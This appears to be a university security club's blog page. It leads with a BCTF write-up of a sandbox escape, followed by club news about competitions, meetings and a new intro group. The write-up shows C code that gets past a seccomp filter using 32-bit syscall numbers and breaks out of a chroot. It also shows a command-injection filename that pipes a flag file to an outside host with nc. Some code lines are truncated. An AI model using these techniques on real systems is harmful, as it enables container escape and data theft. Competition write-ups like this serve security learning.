Wednesday, April 19, 2017


This weekend we played in BCTF, though we took it a little easy in preparation for upcoming CTFs. However, we were able to solve a challenge with only one other solve, so we decided to write up our progress on it. It essentially boiled down to a sandbox escape.

Escaping the First Sandbox

When we first go to the link in the problem description, we see a web form which presumably compiles and runs C code which we submit. Initially, it does not seem like we can get any output from the server other than “Compilation Error” or “Wrong Answer.” However, it does not seem that there are many security restrictions on the binary; initial tests show that we can’t execve, but we can at least open a socket to create a writeback. First, we attempt to learn a bit more about our environment. In particular, we write our uid to our connect back. It seems we’re running as root! Let’s get a directory structure listing:

/lib/x86_64-linux-gnu/(lots of shared libs)

At this point, we’re interested by a few things related to the directory structure; first, there’s no flag!? No sweat, we’re probably in a chroot (the flood of messages on IRC from people asking where the flag is confirms this theory). More alarming perhaps is the file that we see in the same directory as the file that was compiled for us. We dump it to our writeback, and immediately disassemble it.

Initially, it’s apparent that this shared object file is meant to be used as an LD_PRELOAD; normal shared object files do not have a __libc_start_main. When we look deeper into this method, we notice immediately that it dlopen’s, and then pulls the real __libc_start_main for later. Then, it calls prctl in order to presumably construct some sort of impromptu seccomp filter. The call to prctl actually installs a Berkeley Packet Filter, as shown below. Upon disassembling it, we see that it blocks execve, fork, ptrace, clone, chroot, pivot_root, process_vm_readv, and process_vm_writev. Finally, it calls the correct __libc_start_main, which eventually finds its way into our main function.

LD.W  ABS(0x4)
JEQ 3221225534
RET 0x0
LD.W  ABS(0x0)
JEQ !59
RET 0x0
JEQ !57
RET 0x0
JEQ !101
RET 0x0
JEQ !56
RET 0x0
JEQ !161
RET 0x0
JEQ !155
RET 0x0
JEQ !310
RET 0x0
JEQ !311
RET 0x0
RET 0x7fff0000

Clearly, our binary is being run with the given __libc_start_main via LD_PRELOAD. We also stipulate that we’re operating under a chroot! Naturally, we’d like to break out of the chroot. Normally, it’d be trivial to break out; since we’re root, we could simply create a new chroot, and use that to pivot out of the original chroot. However, there is a seccomp filter installed over chroot and friends, so maybe we can’t use the same trick.

More research shows that this Berkley Packet Filter is not in fact bulletproof; it checks against the 64-bit syscalls, but fails to filter out the 32-bit variants, which we can access by or’ing the original syscall with 0x40000000. To test out this theory:

syscall(0x40000000 | SYS_chroot, “.foo”);

We see the success statement in our connect-back, so our program was not killed. This means that we successfully performed the chroot (barring return values). This means, we can escape the chroot by using the normal sandbox escape, but with the modified syscall.

void change_root(void)
    mkdir(".42", 0755);
    syscall(SYS_chroot | 0x40000000, ".42");
    syscall(SYS_chroot | 0x40000000,

Now, when we dump the filesystem from the root directory, we see an entire docker image with some interesting files. Specifically, we see


First, we go straight for the flag; however, no matter how we try, we cannot seem to open the flag! It seems we do not have the proper permissions to open it, but presumably we’re root. What gives?

Escaping the Second Sandbox

We dump the two binaries, cr and sandbox to reveal a little more about what’s going on here. The cr binary seems to be servicing files in a busy loop; as source files are dropped by the main service (specifically, in /home/ctf/oj/src), it compiles the files with gcc and then proceeds to run the sandbox binary with the path to the elf that was just compiled. Overall, the cr binary is not quite so interesting, as it doesn’t explain why we don’t have permission to open the flag.

User namespaces effect the majority of the sandboxing done by the second binary, aptly named sandbox. In particular, it writes “0 <uid> 1” to /proc/<fd>/uid_map; this effectively gives us root within the namespace only, which is why we were able to break out of the chroot. This also explains why we do not have the permissions to read the flag file, owned by the host. Less interesting, the sandbox binary prepares the chroot, forks and cleans up the chroot after our program has exited or timed out.

After all that, we still are no closer to reading the flag. However, it’s interesting to note that cr is running as a “service,” effectively. It has effective permissions of the host, and presumably the flag natively exists in the host. So, we aim to trigger a vulnerability in cr; noting that cr compiles our code, effectively by passing the result of sprintf(buffer, “gcc %s -o %s”, source, binary) directly to system, we drop a file in /home/ctf/oj/src which breaks out of the gcc command (i.e. with a semicolon).

When we execute the following code, we end up with cr executing the following command: gcc /home/ctf/oj/src/a;cat ???g | nc <redacted> 8000; garbage, which sends the flag back to our connect-back, as intended. Note that it’s most likely sheer luck that cr is executing in the root directory, so the shell expansion works as expected. (We spent a few hours wondering why "cat /flag" wasn’t working, only to remember you can’t have a '/' in file names ;P)

int main(void)
{   /* break out of the chroot */
    mkdir(".42", 0755);
    syscall(SYS_chroot | 0x40000000, ".42");
    syscall(SYS_chroot | 0x40000000,
    /* fool cr into sending us the flag file */
    fopen("/home/ctf/oj/src/a;cat ???g| nc <redacted> 8000;", "ab+");
    return 0;
// flag: bctf{Y0u_4r3_7h3_exp0r7_0f_s4nd60x_6yp4551ng}

Monday, September 26, 2016

CSAW CTF Qualifiers 2016

Last weekend, we were one of over 1200 teams to participate in Cyber Security Awareness Week Qualifiers, an international competition hosted by NYU Tandon. This year, CSAW hosted 31 challenges, in categories such as Reversing, Crypto, Forensics, Pwning, and Web.

We had a great time, and managed to solve every challenge on the board with 13 hours to spare. We placed second overall, first in the undergraduate division, and ended up being the only undergraduate team to solve the entire board. This was an international competition, and we were competing against industry-professional and undergraduate teams alike.

Finalists are to be announced on October 3rd. If you missed the competition but still want to checkout the challenges, CSAW's official challenge repository can be found here.  

Saturday, January 30, 2016


RPISEC is proud to introduce a new branch of our organization: INTROSEC.

RPISEC has become an incredibly successful club in recent years. We've created two independent open source classes, qualified two teams to CSAW, won tens of thousands of dollars at CTFs, and have grown our core membership so much that we barely fit in our room at Amos Eaton.

We're incredibly proud of our progress and growth. However, one of our biggest weaknesses has always been introducing new members into the world of computer security. Our weekly talks have either been to fast and complicated for our newer members, or too dull for our core members. Pandering to these two groups at the same time has consistently turned away many people who have otherwise would have been great additions to the club. This is what INTROSEC is meant to fix.

The group is going to be lead by two sophomore members of RPISEC, Jazmyn Borman and Milo Trujillo. They've already set up a ton stuff, including  talks, challenges, and a mini CTF that we will eventually be hosting. We're incredibly proud and impressed with how much work they've both put into this and we expect great things to come out of it.

First meeting will be in Sage 2715 this Tuesday, 5pm-7pm.

Saturday, October 31, 2015

Cyber Seed Results

RPISEC had a great showing at Cyber seed last weekend, with two of our teams placing at the competition.

One of the teams that placed was the CTF team. They took second place just behind Knightsec. They did a great job and won RPISEC $7,500 as well as Amazon echo's for themselves.

They were also the first time to hack into the ATM at the competition, so they won a basketball signed by some of the players from UConn and some of the top executives from Comcast.

As you can see, we were thrilled to win the ball.

Our next team to place was our Internet of Things team. The teams on the IoT challenge were given around a month to audit some device that connected to the internet. Our team decided to do an audit of the Piper Home Security camera. They were able to find a couple of bugs in API that would cause the system to use http instead of https.

We got 1st place! RPISEC won another $10,000 and each member of the team was given an Apple Watch.

That means that RPISEC came home with a total of $17,500!

We had a great time at UConn. We're very proud of our success and can't wait to see what the future holds for RPISEC. Here are some more pictures of the event.

Tuesday, October 27, 2015

Cyber Seed

RPISEC is heading to UConn this Thursday for CyberSEED! This competition is being hosted by Comcast and will include a CTF, Internet of Things Challenge, and a Social Engineering Challenge. There will be 30 other schools as well as over 300 participants, so competition is going to be fierce. But you know what is exciting? Each event has a top prize of $10,000! So wish our participants the best of luck and go RPISEC!

Wednesday, March 18, 2015

Movie Night - 03/20/2015 Meeting

As a lot of people have already left for break, we’ll be having a pretty low key movie night for our meeting this week!

Many of you probably saw the Matrix a long time ago and thought of it as an awesome action movie, but let’s be honest, it’s actually a hacker film. We’ll be back in the DCC as usual.

WHEN: Friday 5pm, March 20th

Otherwise, keep in mind there’s an interesting security talk ( happening right before our movie night (from 4pm-5pm) in the Library’s Fishbach room. If you walk past the front desk in the library and turn left, you’ll find the room somewhere down there.

Many of us will be there, and we encourage you to drop by if you have nothing else going on at the time!

Friday, March 13, 2015

BlueDrop: Intro to Microcontrollers and Hardware Hacking - 03/13/2015 Meeting

At tonight's meeting, Daniel Fitzgerald and John Drogo will give a talk on the basics of microcontrollers, teach you how to use them in your projects, talk about some cool hardware hacks, and most importantly teach you how to crack them! The meeting will be based around Fitz's BlueDrop project, a remote deployed bluetooth message drop system, inspired from the movie "Blackhat".

The Embedded Hardware Club will be providing some MSP430s for you to practice on. However, it is recommended that you download mspdebug and the naken_assmbler before you come so you can follow along.   (Available in apt-get, yum and MacPorts.)

For installing on Windows go to this website and follow the instructions for compiling MSDebug:

Important note: we're in Sage 3101 this week! See you there.

WHEN: Friday 5pm, March 13th
WHERE: Sage 3101 (Genericon is in the DCC)